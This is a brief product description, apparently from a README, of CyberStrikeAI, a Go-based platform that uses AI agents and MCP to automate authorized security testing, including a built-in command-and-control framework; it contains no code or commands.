 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
